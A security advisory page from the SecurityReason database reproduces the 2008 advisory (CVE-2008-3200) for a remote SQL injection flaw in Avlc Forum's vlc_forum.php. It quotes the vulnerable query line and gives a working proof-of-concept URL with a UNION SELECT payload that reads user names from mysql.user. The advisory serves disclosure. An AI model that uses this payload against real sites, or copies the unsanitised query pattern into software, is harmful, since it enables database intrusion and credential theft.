|
 |
| SecurityReason | ||
| WLB | ||
| RSS | ||
| Corporate | ||
| Services | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
| Details : SecurityAlert | ||||
 SecurityAlert : 4005 CVE : CVE-2008-3200 CWE : CWE-89 SecurityRisk : High  (About) Remote Exploit : Yes Local Exploit : No Victim interaction required : No Exploit Given : No Credit : CWH Published : 18.07.2008
Advisory Text : ==================================================================== Avlc Forum (vlc_forum.php id) Remote SQL Injection Vulnerability ==================================================================== ,--^----------,--------,-----,-------^--, | ||||||||| `--------' | O .. CWH Underground Hacking Team .. `+---------------------------^----------| `\_,-------, _________________________| / XXXXXX /`| / / XXXXXX / `\ / / XXXXXX /\______( / XXXXXX / / XXXXXX / (________( `------' AUTHOR : CWH Underground DATE : 12 July 2008 SITE : cwh.citec.us ##################################################### APPLICATION : Avlc Forum VERSION : N/A VENDOR : N/A DOWNLOAD : http://www.easy-script.com/compt.php?id=2147 ##################################################### -- Remote SQL Injection --- --------------------------------- Vulnerable File [vlc_forum.php] --------------------------------- @Line 141: $sql = "SELECT * FROM vlc_forum WHERE id=$id OR re=$id"; 142: $req = mysql_query($sql) or die('Erreur SQL !'.$sql.'<br>' . mysql_error()); ------------- POC Exploit ------------- [+] http://[Target]/[avlc_path]/vlc_forum.php?action=affich_message&id=-999999/ **/UNION/**/SELECT/**/1,user,3,4,5,6,7,8,9/**/FROM/**/mysql.user-- ##################################################################### Greetz : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos ##################################################################### References : http://www.securityfocus.com/bid/30202 http://www.milw0rm.com/exploits/6058 Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||
| Alert | ||
*BSD libc (strfmon) Multiple vulnerabilities
Maksymilian Arciemowicz discovered a Integer Overflow vulnerability in the libc library "strfmon()" function.A vulnerability could allow an attacker who successfully exploits this vulnerability to take control of the affected *BSD systems. |
||
| Apache |  |
|
» Apache Tomcat <= |
||
| PHP | |
|
» PHP 5.2.5 and prior : |
||
- 2008-03-25| Copyright © SecurityReason. All Rights Reserved. |